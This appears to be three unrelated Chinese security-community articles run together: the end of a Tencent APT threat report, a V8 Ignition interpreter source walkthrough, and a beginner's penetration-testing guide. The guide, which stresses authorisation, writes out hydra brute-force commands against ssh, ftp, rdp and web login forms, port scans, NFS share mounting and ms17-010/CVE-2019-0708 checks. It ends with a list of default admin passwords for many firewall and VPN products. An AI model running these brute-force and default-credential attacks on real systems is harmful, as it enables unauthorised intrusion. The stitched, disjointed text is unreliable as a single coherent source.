Turla，又名Snake，Uroburos，Waterbug，被认为是来自俄罗斯的APT攻击组织，该组织从2007年开始活跃至今。该组织的攻击目标包括欧盟的一些政府目标，如外交实体，也包括一些私营企业。
在2019年上半年，国外安全公司ESET曝光率该组织使用新的powershell武器针对东欧的外交实体进行了攻击活动。
Turla的攻击目标（引用ESET关于Turla的报告）
Turla的攻击流程示意图（引用ESET关于Turla的报告）
## 五、威胁变化趋势及未来预测
### 5.1网络攻击民生化
随着基础设施的智能化，给了通过网络攻击破坏电力、交通、能源等领域的能力。而2017年的乌克兰大停电被乌克兰安全部门确认为是一起针对电力公司的网络恶意攻击事件，攻击者是APT组织BlackEnergy。而2019年南美洲的委内瑞拉大停电也被认为可能是黑客攻击导致，近期南美洲的阿根廷、乌拉圭也相继发生全国性大规模停电，其背后可能也与电力公司遭遇网络攻击相关。随着数字化智能化的普及，未来在交通、能源、通讯等各个领域都可能遭遇APT攻击威胁，影响大规模民生的系统都应在网络安全上早做防备。
### 5.2网络攻击军事化
伊朗击落无人机，美伊网络战，近日，中东局势的恶化，美国无人机在侦查时被伊朗导弹击落，随后美国发动网络攻击进行报复，据悉网络攻击由美国网络司令部发起，伊朗的导弹控制系统也成为美方攻击的目标，这些攻击意在回应针对油轮的攻击以及美国无人机被击落的事件，随着战场无人化的发展，可以预见的未来网络攻击的军事属性会越来越强。
### 5.3APT武器民用化
席卷全球的 Wannacry
勒索软件事件还记忆犹新，该木马最核心的部分为当年泄漏不久的网络核武库“永恒之蓝”漏洞，该漏洞原本由方程式组织使用多年，但因为方程式组织被Shadow
Brokers组织攻击导致包括多个0day漏洞在内的资料全部外泄，从而导致原本军工级的网络武器被被用于攻击平民，造成了严重的危害，而这种事情一直都在发生：
近些年来的APT武器库的泄露情况
而APT攻击武器的泄露，也导致了APT武器的民用化，如大量的僵尸网络使用“永恒之蓝”漏洞进行传播。
### 5.4攻击溯源复杂化
APT组织之间互相伪装，通过代码和基础设施都难以确定组织归属，部分组织尤其是朝鲜半岛的APT组织之间互相伪装，特意在自己的代码中加入对方木马的特征，以迷惑对方及安全分析人员，而公共基础设施的利用，如SYSCON使用免费FTP作为C&C服务器，Group123组织使用dropbox作为C&C服务器，而使用CDN作为C&C流量中转的攻击也已经出现。
随着各国对网络安全越来越重视，未来攻击者可能会花费更多的精力在自己身份的隐藏和伪装上，这样会给威胁溯源增加更大的困难。
### 5.5APT威胁往移动端扩散
随着移动互联网的普及，越来越多的机密载体转移到了移动设备中，2019年，多个APT组织的移动端木马相继被发现和披露，包括海莲花、donot
Team都已经使用了Android的恶意程序等。高级持续威胁不再限于计算机，未来如智能路由等可能陆续成为APT攻击的目标和持久化的宿主。
## 六、总结
2019年被称作5G元年，我们的网络正朝着多元化、宽带化、综合化、智能化的方向发展，越来越多的设备、越来越多的信息接入到了互联网中，即将开启一个万物互联的大时代，国家之间的APT与反APT的无硝烟战争将会更加频繁，更加激烈。没有网络安全就没有国家安全将会体现得淋漓尽致。
## 七、安全建议
1、各大机关和企业，以及个人用户，及时修补系统补丁和重要软件的补丁，尤其是最新APT常用漏洞CVE-2018-20250以及最近高危漏洞CVE-2019-0708漏洞补丁；
2、提升安全意识，不要打开来历不明的邮件的附件；除非文档来源可靠，用途明确，否则不要轻易启用Office的宏代码；
3、使用杀毒软件防御可能得病毒木马攻击，对于企业用户，推荐使用腾讯御点终端安全管理系统。腾讯御点内置全网漏洞修复和病毒防御功能，可帮助企业用户降低病毒木马入侵风险；
腾讯御点终端安全产品图
4、使用网络防火墙等产品，推荐使用腾讯御界高级威胁检测系统。御界高级威胁检测系统，是基于腾讯反病毒实验室的安全能力、依托腾讯在云和端的海量数据，研发出的独特威胁情报和恶意检测模型系统，可快速检测、发现可疑APT组织的攻击行动。
腾讯御界高级威胁监测系统界面
## 八、附录
### 8.1附录1：腾讯安全御见威胁情报中心
腾讯安全御见威胁情报中心，是一个涵盖全球多维数据的情报分析、威胁预警分析平台。依托腾讯安全在海量安全大数据上的优势，通过机器学习、顶尖安全专家团队支撑等方法，产生包括高级持续性攻击（APT）在内的大量安全威胁情报，帮助安全分析人员快速、准确对可疑事件进行预警、溯源分析。
腾讯安全御见威胁情报中心公众号自开号以来，发布了大量的威胁分析报告，包括不定期公开的针对中国大陆目标的APT攻击报告，无论是分析报告的数量上还是分析报告的质量上，都处于业界领先水平，受到了大量客户和安全专家的好评，同时发布的情报也经常被政府机关做为安全预警进行公告。
以下是腾讯安全御见威胁情报中心公众号的二维码，关注请扫描二维码：
### 8.2附录2：参考链接
1、<https://blog.alyac.co.kr/2347?category=957259>
2、<https://blog.alyac.co.kr/2243?category=957259>
3、<https://www.secrss.com/articles/9511>
4、<https://mp.weixin.qq.com/s/K3Uts9Cb65L-2scf2XoFcg>
5、<https://ti.qianxin.com/blog/articles/stealjob-new-android-malware-used-by-donot-apt-group/>
6、<https://documents.trendmicro.com/assets/white_papers/wp_new_muddywater_findings_uncovered.pdf>
7、<https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf>
8、<https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html>
9、<https://blog.yoroi.company/research/the-russian-shadow-in-eastern-europe-a-month-later/>
10、<https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/>
11、<https://securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus/90019/> | 社区文章 |
# 连载《Chrome V8 原理讲解》第八篇 解释器Ignition
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 摘要
本次是第八篇，讲解v8解释器Ignition的工作流程。Ignition是基于寄存器的解释器，本过通过分析Ignition重要源码和核心数据结构、讲解bytecode的加载和执行过程，详细阐述Ignition的工作流程。
本文内容的组织方式：讲解Ignition的先导知识—Builtin是什么、具体实现以及调试方法（章节2）;Ignition工作流程、原理讲解、源码分析（章节3）。
**关键字：** bytecode handler（字节码处理程序），dispatch，Builtin，Ignition
## 2 Builtin
学习Ignition，绕不开Builtin，因为Ignition的大部分功能由Builtin实现。Builtin（built in
function）是V8的内建功能，它是V8运行时可执行的代码块，实现Builtin功能的方式主要有：Javascript、C++、汇编、CodeStubAssembler四种方式。其中，CodeStubAssembler是一种平台无关（platform-independent）的抽象语言，由TurbFan编译生成。Builtin有很多种，以TF_BUILTIN举例说明，下面是它的宏定义模板:
#define TF_BUILTIN(Name, AssemblerBase) \
class Name##Assembler : public AssemblerBase { \
public: \
using Descriptor = Builtin_##Name##_InterfaceDescriptor; \
\
explicit Name##Assembler(compiler::CodeAssemblerState* state) \
: AssemblerBase(state) {} \
void Generate##Name##Impl(); \
\
template <class T> \
TNode<T> Parameter( \
Descriptor::ParameterIndices index, \
cppgc::SourceLocation loc = cppgc::SourceLocation::Current()) { \
return CodeAssembler::Parameter<T>(static_cast<int>(index), loc); \
} \
\
template <class T> \
TNode<T> UncheckedParameter(Descriptor::ParameterIndices index) { \
return CodeAssembler::UncheckedParameter<T>(static_cast<int>(index)); \
} \
}; \
void Builtins::Generate_##Name(compiler::CodeAssemblerState* state) { \
Name##Assembler assembler(state); \
state->SetInitialDebugInformation(#Name, __FILE__, __LINE__); \
if (Builtins::KindOf(Builtin::k##Name) == Builtins::TFJ) { \
assembler.PerformStackCheck(assembler.GetJSContextParameter()); \
} \
assembler.Generate##Name##Impl(); \
} \
void Name##Assembler::Generate##Name##Impl()
上述代码中，`AssemblerBase`是Builtin功能的父类，功能不同，其父类也不同，通过下面的代码举例说明：
TF_BUILTIN(CloneFastJSArrayFillingHoles, ArrayBuiltinsAssembler) {
auto context = Parameter<Context>(Descriptor::kContext);
auto array = Parameter<JSArray>(Descriptor::kSource);
CSA_ASSERT(this,
Word32Or(Word32BinaryNot(IsHoleyFastElementsKindForRead(
LoadElementsKind(array))),
Word32BinaryNot(IsNoElementsProtectorCellInvalid())));
Return(CloneFastJSArray(context, array, base::nullopt,
HoleConversionMode::kConvertToUndefined));
}
上述代码是一个具体的Builtin功能实现，`CloneFastJSArrayFillingHoles`是Builtin功能的名字，`ArrayBuiltinsAssembler`是它的父类。名字不同，功能不同，其父类自然也不同。但是，所有Builtin均继承自同一个顶层父类`CodeStubAssembler`，代码如下：
class V8_EXPORT_PRIVATE CodeStubAssembler
: public compiler::CodeAssembler,
public TorqueGeneratedExportedMacrosAssembler {
public:
using ScopedExceptionHandler = compiler::ScopedExceptionHandler;
template <typename T>
using LazyNode = std::function<TNode<T>()>;
explicit CodeStubAssembler(compiler::CodeAssemblerState* state);
enum AllocationFlag : uint8_t {
kNone = 0,
kDoubleAlignment = 1,
kPretenured = 1 << 1,
kAllowLargeObjectAllocation = 1 << 2,
};
enum SlackTrackingMode { kWithSlackTracking, kNoSlackTracking };
using AllocationFlags = base::Flags<AllocationFlag>;
TNode<IntPtrT> ParameterToIntPtr(TNode<Smi> value) { return SmiUntag(value); }
TNode<IntPtrT> ParameterToIntPtr(TNode<IntPtrT> value) { return value; }
TNode<IntPtrT> ParameterToIntPtr(TNode<UintPtrT> value) {
return Signed(value);
}
enum InitializationMode {
kUninitialized,
kInitializeToZero,
kInitializeToNull
};
//........................
//代码近4000行，以下部分省略......................
//........................
代码太多，请自行查阅。下面给出Builtin列表，它包含了所有的Builtin，是一个宏模板，里面又嵌套了不同子类型的Builtin宏模板。
#define BUILTIN_LIST(CPP, TFJ, TFC, TFS, TFH, BCH, ASM) \
BUILTIN_LIST_BASE(CPP, TFJ, TFC, TFS, TFH, ASM) \
BUILTIN_LIST_FROM_TORQUE(CPP, TFJ, TFC, TFS, TFH, ASM) \
BUILTIN_LIST_INTL(CPP, TFJ, TFS) \
BUILTIN_LIST_BYTECODE_HANDLERS(BCH)
Builtin的编写规则，本文不做介绍，想学习的读者可以留言联系我，或查阅官方文档。
下面讲debug跟踪Builtin功能的方法，分析Ignition工作流程时离不开debug调试。无论Builtin的实现方式是js亦或C++，都只能做汇编调试，因为Builtin的实现与V8分离，单独生成`snapshot_blob.bin`文件，保存在磁盘上，V8启动时将其进行反序列化，读取到内存中，这样做为了提升V8的启动速度。7.9版之前的V8，支持Builtin的C++调试，请读者自行分析，有问题可以联系我。
Ignition执行字节码的入口是`InterpreterEntryTrampoline`，它是一个Builtin，它的功能和具体实现稍后讲解，下面看如何debug跟踪它。
enum class Builtin : int32_t {
kNoBuiltinId = -1,
#define DEF_ENUM(Name, ...) k##Name,
BUILTIN_LIST(DEF_ENUM, DEF_ENUM, DEF_ENUM, DEF_ENUM, DEF_ENUM, DEF_ENUM,
DEF_ENUM)
#undef DEF_ENUM
#define EXTRACT_NAME(Name, ...) k##Name,
// Define kFirstBytecodeHandler,
kFirstBytecodeHandler =
FirstFromVarArgs(BUILTIN_LIST_BYTECODE_HANDLERS(EXTRACT_NAME) 0)
#undef EXTRACT_NAME
};
首先，看上面的`Builtin`类结构,每一个Builtin功能都有一个枚举编号，根据`BUILTIN_LIST`宏模板的定义顺序，可以计算出`InterpreterEntryTrampoline`的枚举编号，用这个编码做数组下标在图1中找到对应的数组成员，这个`isolate->isolate_data_.builtins_`成员是`BUILTIN`数组。
根据数组成员中存储的内存地址，进行汇编级调试。此外，另一个跟踪方法是从`i::Excetuion::Call()`方法进行跟踪，最终也是进入汇编代码，不再赘述。开始跟踪之前，一定要先分析重要的数据结构，学习相关原理，例如V8的堆栈布局(stack
layout)等，这会使调试Builtin事半功倍。V8是一个庞大的系统，涉及了编译技术、体系结构、操作系统等众多知识领域，有相应的知识储备可以使学习V8的过程更容易。
## 3 Ignition解释器
前面介绍了Ignition的调试方法，本节详细讲解Ignition源码的具体实现和工作流程，Ignition是V8解释器，负责执行字节码，它的输入一个字节码列表（bytecode
array），输出是程序的执行结果。先给出几个重要约定：
**（1）** bytecode handler，字节码处理程序，每个字节码对应一个处理程序，Ignition解释执行字节码的本质就是执行对应的处理程序。
**（2）** bytecode
array，字节码列表，一个Javascript功能编译完后生字节码列表。执行字节码之前，需要做预先的准备，包括构建堆栈，参数入压等等，具体工作由`InterpreterEntryTrampoline`负责。
**（3）** 每一条字节码执行完后，都要调用`Dispatch()`，这个函数负责进入下一条字节码开始执行。
**（4）**
Ignition是一个基于寄存器的解释器，这些寄存器是V8维护的虚拟寄存器，用栈实现，不是物理寄存器。但有一个例外，Ignition有一个累加器寄存器，它被很多字节码作为隐式的输入输出寄存器，它是物理寄存器。
**（5）** dispatch
table,字节码分发表，每个isolate都包含一个全局的字节码分发表，分发表以字节码的枚举值作为索引，表项是字节码处理程序的对象指针。
以上五点约定的功能均写入了`snapshot_blob.bin`文件，在V8启动时通过反序列化方式加载。
`InterpreterEntryTrampoline`的源码如下：
void Builtins::Generate_InterpreterEntryTrampoline(MacroAssembler* masm) {
Register closure = rdi;
Register feedback_vector = rbx;
// Get the bytecode array from the function object and load it into
// kInterpreterBytecodeArrayRegister.
__ LoadTaggedPointerField(
kScratchRegister,
FieldOperand(closure, JSFunction::kSharedFunctionInfoOffset));
__ LoadTaggedPointerField(
kInterpreterBytecodeArrayRegister,
FieldOperand(kScratchRegister, SharedFunctionInfo::kFunctionDataOffset));
Label is_baseline;
GetSharedFunctionInfoBytecodeOrBaseline(
masm, kInterpreterBytecodeArrayRegister, kScratchRegister, &is_baseline);
// The bytecode array could have been flushed from the shared function info,
// if so, call into CompileLazy.
Label compile_lazy;
__ CmpObjectType(kInterpreterBytecodeArrayRegister, BYTECODE_ARRAY_TYPE,
kScratchRegister);
__ j(not_equal, &compile_lazy);
// Load the feedback vector from the closure.
__ LoadTaggedPointerField(
feedback_vector, FieldOperand(closure, JSFunction::kFeedbackCellOffset));
__ LoadTaggedPointerField(feedback_vector,
FieldOperand(feedback_vector, Cell::kValueOffset));
Label push_stack_frame;
// Check if feedback vector is valid. If valid, check for optimized code
// and update invocation count. Otherwise, setup the stack frame.
__ LoadMap(rcx, feedback_vector);
__ CmpInstanceType(rcx, FEEDBACK_VECTOR_TYPE);
__ j(not_equal, &push_stack_frame);
// Check for an optimization marker.
Label has_optimized_code_or_marker;
Register optimization_state = rcx;
LoadOptimizationStateAndJumpIfNeedsProcessing(
masm, optimization_state, feedback_vector, &has_optimized_code_or_marker);
//........................
//代码太长，以下部分省略......................
//........................
}
`InterpreterEntryTrampoline`的作用是构建调用堆栈，分配部局变量等，图2给出了一种`InterpreterEntryTrampoline`构建的栈布局，不同类型函数有不同的堆栈，第七篇文章中讲的堆栈也是由这个函数构建的。上述代码中`GetSharedFunctionInfoBytecodeOrBaseline`是取得bytecode
array，通过每一个`Label`可以看出要执行的功能，`__`的具体实现是`#define __
ACCESS_MASM(masm)`，之后会调用bytecode array的第一条bytecode，开始执行。
`Builtins`类中还定义了其它一些重要的函数，见下面源码：
class Builtins {
//........................
//代码太长，省略很多.......
//........................
static void Generate_CallFunction(MacroAssembler* masm,
ConvertReceiverMode mode);
static void Generate_CallBoundFunctionImpl(MacroAssembler* masm);
static void Generate_Call(MacroAssembler* masm, ConvertReceiverMode mode);
enum class CallOrConstructMode { kCall, kConstruct };
static void Generate_CallOrConstructVarargs(MacroAssembler* masm,
Handle<Code> code);
static void Generate_CallOrConstructForwardVarargs(MacroAssembler* masm,
CallOrConstructMode mode,
Handle<Code> code);
static void Generate_InterpreterPushArgsThenCallImpl(
MacroAssembler* masm, ConvertReceiverMode receiver_mode,
InterpreterPushArgsMode mode);
static void Generate_InterpreterPushArgsThenConstructImpl(
MacroAssembler* masm, InterpreterPushArgsMode mode);
template <class Descriptor>
static void Generate_DynamicCheckMapsTrampoline(MacroAssembler* masm,
Handle<Code> builtin_target);
#define DECLARE_ASM(Name, ...) \
static void Generate_##Name(MacroAssembler* masm);
#define DECLARE_TF(Name, ...) \
static void Generate_##Name(compiler::CodeAssemblerState* state);
BUILTIN_LIST(IGNORE_BUILTIN, DECLARE_TF, DECLARE_TF, DECLARE_TF, DECLARE_TF,
IGNORE_BUILTIN, DECLARE_ASM)
//........................
//代码太长，以下部分省略......................
//........................
`Builtins`类中的`#define DECLARE_TF(Name, ...)`和`#define DECLARE_ASM(Name,
...)`是所有Builtin的生成函数，它们由Turbofan生成，每一条bytecode的执行，由一个具体的bytecode handler负责。
**注意：bytecode
handler只是一种Builtin，还有其它的Builtin，byteocde是Builtin，Builtin并不都是bytecode！**
下面是生成bytecode handler的功能代码：
#define IGNITION_HANDLER(Name, BaseAssembler) \
class Name##Assembler : public BaseAssembler { \
public: \
explicit Name##Assembler(compiler::CodeAssemblerState* state, \
Bytecode bytecode, OperandScale scale) \
: BaseAssembler(state, bytecode, scale) {} \
Name##Assembler(const Name##Assembler&) = delete; \
Name##Assembler& operator=(const Name##Assembler&) = delete; \
static void Generate(compiler::CodeAssemblerState* state, \
OperandScale scale); \
\
private: \
void GenerateImpl(); \
}; \
void Name##Assembler::Generate(compiler::CodeAssemblerState* state, \
OperandScale scale) { \
Name##Assembler assembler(state, Bytecode::k##Name, scale); \
state->SetInitialDebugInformation(#Name, __FILE__, __LINE__); \
assembler.GenerateImpl(); \
} \
void Name##Assembler::GenerateImpl()
//=======================================================
//=====================分隔线==================================
//=======================================================
// LdaZero
//
// Load literal '0' into the accumulator.
IGNITION_HANDLER(LdaZero, InterpreterAssembler) {
TNode<Number> zero_value = NumberConstant(0.0);
SetAccumulator(zero_value);
Dispatch();
}
`IGNITION_HANDLER`是宏模板，`Name`是字节码名字，`BaseAssembler`是字节码的父类，`IGNITION_HANDLER(LdaZero,
InterpreterAssembler)`这条语句是成生`LdaZero`的handler。`Dispatch()`功能是查询“dispatch
table”，它的作用是执行下一条字节码，可以理解为寄存器`eip++`，下面是`Dispatch()`的具体实现：
void InterpreterAssembler::Dispatch() {
Comment("========= Dispatch");
DCHECK_IMPLIES(Bytecodes::MakesCallAlongCriticalPath(bytecode_), made_call_);
TNode<IntPtrT> target_offset = Advance();
TNode<WordT> target_bytecode = LoadBytecode(target_offset);
DispatchToBytecodeWithOptionalStarLookahead(target_bytecode);
}
void InterpreterAssembler::DispatchToBytecodeWithOptionalStarLookahead(
TNode<WordT> target_bytecode) {
if (Bytecodes::IsStarLookahead(bytecode_, operand_scale_)) {
StarDispatchLookahead(target_bytecode);
}
DispatchToBytecode(target_bytecode, BytecodeOffset());
}
`LoadBytecode(target_offset)`获取下一条字节码，`DispatchToBytecodeWithOptionalStarLookahead(target_bytecode)`负责进入到下一条字节码并执行。
上面讲了字节码的生成方式，以及程序运行期进入下一条字节码的方式(dispatch)，下面的代码是生成所有的字节码处理程序。
Handle<Code> GenerateBytecodeHandler(Isolate* isolate, const char* debug_name,
Bytecode bytecode,
OperandScale operand_scale,
Builtin builtin,
const AssemblerOptions& options) {
Zone zone(isolate->allocator(), ZONE_NAME, kCompressGraphZone);
compiler::CodeAssemblerState state(
isolate, &zone, InterpreterDispatchDescriptor{},
CodeKind::BYTECODE_HANDLER, debug_name,
builtin);
switch (bytecode) {
#define CALL_GENERATOR(Name, ...) \
case Bytecode::k##Name: \
Name##Assembler::Generate(&state, operand_scale); \
break;
BYTECODE_LIST_WITH_UNIQUE_HANDLERS(CALL_GENERATOR);
#undef CALL_GENERATOR
case Bytecode::kIllegal:
IllegalAssembler::Generate(&state, operand_scale);
break;
case Bytecode::kStar0:
Star0Assembler::Generate(&state, operand_scale);
break;
default:
UNREACHABLE();
}
//............省略代码...................
}
`GenerateBytecodeHandler()`函数是生成字节码处理程序的入口，由它负责调用上面的`IGNITION_HANDLER(XXX,YYY)`宏模板，完成所有字节码处理程序的生成，`GenerateBytecodeHandler()`由TurbFan启动，一句话总结：每一个字节码处理程序由Turbofan独立生成且作为`Handle<Code>`存在，最终写进`snapshot_blob.bin`文件中。
好了，今天到这里，下次见。
**恳请读者批评指正、提出宝贵意见**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
# 说在前面
**首先很重要的是授权 ~ 首先很重要的是授权 ~ 首先很重要的是授权 ~**
[“为了给家乡做点贡献”
男子入侵政府网站...](http://www.chinapeace.gov.cn/chinapeace/c53715/2019-08/20/content_12281927.shtml)
之前也看过很多关于渗透测试的文章，但是因为一些现实因素等等问题，没（bu）有(gan)真正实操，最近由于一次偶然的机会，什么都不会的我接到了一个渗透测试项目
然后就把最近学到的一些东西，和一些小感悟，小技巧记录下来，由于一些特殊原因，本文中不涉及到渗透过程中的任何敏感信息
# 第一次进行渗透如何优雅的"装"成是个"老手"
首先跟我一样菜当然是装不出大神的，当然还是 **多学，多积累**
最重要，但是既然都开始了，就不能显得太划水，下面的操作不能让你成为大神，但是可以让你在整个过程中"忙"起来
相比于网上那些很详细的手把手渗透教学，本文主要写一些到 xx公司 直接内网渗透测试的那种简要步骤
所以 **这一小节主要写给那些才接触安全，或者没有真正做过渗透测试的人** 吧
大佬轻喷，如果有错误的地方也欢迎批评指正...
## 需要准备什么？
### 能够使用以下工具
**Nessus**
**AWVS**
**Appscan**
burpsuite
sqlmap
Github & Google 搜索框
Hydra
自己收集的一大堆 CVE 的 exp
各个中间件漏洞的利用工具
工具当然是越多越好
### 一些好用的字典
弱密码是一个亘古不变的问题，可能公司后台弱密码改掉了，可是一个公司这么多员工，可能有员工没有改自己原先的弱密码...或者公司一些设备没有改掉默认密码...所以一个好用的密码字典显得尤其关键
配合上 **Hydra** 或者其他好用点的爆破工具的使用，常常能够有不错的收获
提供以下几个生成字典方式
* Github上有很多收集好的字典
<https://github.com/rootphantomer/Blasting_dictionary>
更多的可以在Github上自行寻找
* 可能你需要生成一些特殊定制的
[在线生成地址一](https://www.itxueke.com/tools/pass/#)
[在线生成地址二](http://xingchen.pythonanywhere.com/index)
* 下面的py脚本你也可以尝试使用
**pydictor** [下载地址](https://github.com/LandGrey/pydictor)
[使用指南](https://www.ddosi.com/b172/)
* somd5 提供的字典：
<https://www.somd5.com/download/dict/>
### 可能你需要学会配置IP
如果你需要你接进内网进行测试的时候，通常会要求你手动配置IP，如果不会配置到了现场就会像我一样很丢人...
右键点击：
点击：
点击：
右键点击当前你链接，选择属性：
双击：
填入他们给你提供的IP：
## 新手的渗透测试的打开方式
本着划水也要划得合理一点的态度，如果刚好你也是第一次做渗透测试，就算不知道具体干什么，过程中也不要显得太无所事事了...
**下面的操作适用于在放开中间一切安全设备** （各种防火墙等...），所以作为一个技术不是很高超的新手， **合理利用手里的现有工具** 就显得至关重要
很多大佬都说过 **渗透测试的本质是信息收集** ，信息收集的步骤和手段在先知已经有很多专门文章详细的阐述过
[信息收集](https://xz.aliyun.com/search?keyword=%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86)
一般去这种公司帮忙做渗透他们都 **会给你一定的资产** （如内网IP，设备型号等），但 **一般是不够的**
。所以完成以下的步骤，也可以在一定程度上帮助你收集一些信息...
### 全都丢进工具跑
**首先把资产里所有IP丢进 Nessus**
Nessus 本身扫描的过程中也会包含端口，但是如果你嫌慢你可以使用nmap扫描...
`nmap -p 1-65535 -T4 -A -v <IP>`
然后你嫌nmap慢可以使用 masscan...
`masscan <IP> -p0-65535 - rate 1000000`
**扫出来了Web的端口，如80,8080,443等（具体的还得具体看），丢进AWVS进一步扫描分析**
**含有 ftp，ssh，mysql的端口可以丢进 hydra 爆破**
1、破解ssh：
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
2、破解ftp：
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
3、get方式提交，破解web登录：
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
4、post方式提交，破解web登录：
hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"
（参数说明：-t同时线程数3，-l用户名是admin，字典pass.txt，保存为out.txt，-f 当破解了一个密码就停止， 10.36.16.18目标ip，http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中 的内容是表示错误猜解的返回信息提示。）
5、破解https：
hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
10、破解rdp：
hydra ip rdp -l administrator -P pass.txt -V
**如果扫出445端口可以尝试一下 ms17-010 ,丢进msf里使用相应的模块进行验证**
**如果扫出3389端口可以尝试一下最新爆出的 CVE-2019-0708 (其实真的挺多都没打补丁的)，也能使用msf扫描，还可以使用 360
的漏洞扫描工具，或者使用Github上搜索其他poc进行验证**
[CVE-2019-0708： Windows
RDP远程漏洞无损检测工具下载](https://cert.360.cn/warning/detail?id=1caed77a5620fc7da993fea91c237ed5)
然后在各种扫描时候的闲暇时间，你就可以开展对一个网站的常规渗透，先扫个目录(dirsearch和御剑都行)，然后熟悉web站点的各个功能点，再根据功能来测试相应的漏洞是否存在...必要的时候burpsuite抓包，一个包一个包的看...
PS：一般对Web站点准备开始渗透时往往都变成了和登陆框的战斗，可以先上来burpsuite跑个几个弱密码字典，然后对登录框进一步测试sql注入，另外：如果有注册账号界面或者忘记密码界面可以尝试验证码爆破（4位数验证码就试一下），短信轰炸，任意账号注册找回等，然后记得看一下URL，如果后面的参数为
?returnurl=xxx.com,可以尝试一下url跳转...
（如果经历了大量的工程，对登录框毫无办法，连网站都没进去，无法展开下一步测试的时候，就自己注册一个账号，或者找他们提供一个测试账号叭...
然后在你忙以上操作的时候，就显得不是那么的划水，作为一个脚本小子也要有脚本小子应有的样子
### 善用搜索进行辅助验证
经过一段时间的等待，可能 Nessus 和 AWVS 都扫得差不多了...这个时候如果自己积累不多就
**寻找一切能够搜索的东西对扫描结果进行辅助验证**...（百度、谷歌、Github等...
如果是 CVE 就先去msf里面search一下，如果没有也可以去 Github 上找一波可以直接利用的
exp，或者可以看看各大论坛有没有大佬之前分析过...然后跟着手动复现，途中可能遇到很多莫名其妙没有复现成功的问题也可以通过善用搜索进行解决
然后各大论坛真的有很多很多很强的师傅们，每当你遇到过没见到过的漏洞，基本上都会有师傅分析过，吸取他们的经验完成你的渗透任务也是个事半功倍的事情
# 浅谈遇到过的有趣的东西
后知后觉还是积累太少
## NFS的安全隐患
这个是真的第一次遇到，一开始还以为没什么，一顿操作发现可以看到几乎全部共享的数据（orz...
起因是 Nessus 爆洞
然后我现找了写的很详细的文章进行对该漏洞进行了复现
[针对NFS的渗透测试](https://www.freebuf.com/articles/network/159468.html)
简单来说就是两步走：
`showmount -e <IP>`
然后挂载到本地
mkdir <创建一个目录>
mount -t nfs <ip>:/<你要挂的目录> /<你刚刚创建的目录> -o nolock
这个点真的能拿蛮多数据的
后面就不贴图了...
## 弱密码啊弱密码
真的好多好多弱密码！
小技巧就是
验证爆破用户名的方法就是看response包里的返回结果...比如存在用户名但是密码不对，就会显示`用户名和密码不匹配`，但是如果没有用户名就会显示`不存在用户名`
然后先根据返回包找到合适的用户名，再用字典有针对性的爆破该用户名的密码。如果没有回显可以通过 **忘记密码**
等选项来进一步测试，找回过程中如果说用户正确就会进入下一步操作，比如发送短信验证码，如果说没有用户就不会进入下一步操作
首先一般弱密码发生在如下几个地方：
1. 没有限制登录失败次数的登录框
2. 没有验证码或者验证码可以绕过(比如采用前端校验)的登录框
经过渗透测试统计和分析，将弱密码大致分为以下几个情况
1. js里有注释掉的测试账号密码
2. 各种登录界面，各种后台存在测试账号，且可以看到敏感数据（这就可能是为什么test test 可以进去的原因吧）
3. 改了管理后台页面的所有弱密码，但是在其他地方，比如办公系统等，有员工没有改自己的登录密码，经过爆破可以登录员工账号
4. 很多公司采用的系统是外部开发的，外部开发的时候有测试账号是弱密码，但是可能交接过程中存在一些问题，导致这边公司根本就不知道有这个账号密码
5. 很多设备，比如内网里面的防火墙，直接使用了出厂默认的密码
6. 大家都比较懒，都不想注册很长的密码，然后可能又觉得11111这种不合适，所以就有了那种键盘连键，如qwe123之类的，导致跑一个字典出一堆账号密码
网上大佬收集的，分享给大家
天融信防火墙，不需要证书 登录地址:https://192.168.1.254 用户名:superman 密码:talent 技术支持热线：8008105119
天融信防火墙，不需要证书 登录地址:https://192.168.1.254：8080 用户名:superman 密码:talent！23 遇到设备需要把旧设备配置备份下来，再倒入新设备基于console口登陆，用户名，密码跟web界面一致 system config reset 清除配置 save 保存
联想网御防火墙，需要证书（最好用IE浏览器登录） 登录地址:https://10.1.5.254:8889 用户名:admin 密码:leadsec@7766、administrator、bane@7766 技术支持热线：4008107766 010-56632666
深信服防火墙（注安全设备管理地址不是唯一的） https://10.251.251.251
https://10.254.254.254 用户名：admin 密码：admin 技术支持热线：4006306430
启明星辰 https://10.1.5.254:8889 用户名：admin 密码：bane@7766
https://10.50.10.45:8889 用户名：admin 密码：admin@123 电脑端IP：10.50.10.44/255.255.255.0 技术支持热线：4006243900
juniper 登录地址:https://192.168.1.1 用户名:netscreen 密码:netscreen
Cisco 登录地址:https://192.168.0.1 用户名:admin 密码:cisco
Huawei 登录地址:http://192.168.0.1 用户名:admin 密码:Admin@123
H3C 登录地址:http://192.168.0.1 用户名:admin 密码:admin 技术支持热线：4006306430
绿盟IPS https://192.168.1.101 用户名: weboper 密码: weboper 配置重启生效
网神防火墙GE1口 https://10.50.10.45 用户名：admin 密码：firewall 技术支持热线：4006108220
深信服VPN： 51111端口 delanrecover
华为VPN：账号：root 密码：mduadmin
华为防火墙： admin Admin@123 eudemon
eudemon Juniper防火墙： netscreen netscreen
迪普 192.168.0.1 默认的用户名和密码（admin/admin_default)
山石 192.168.1.1 默认的管理账号为hillstone，密码为hillstone
安恒的明御防火墙 admin/adminadmin
某堡垒机 shterm/shterm
天融信的vpn test/123456
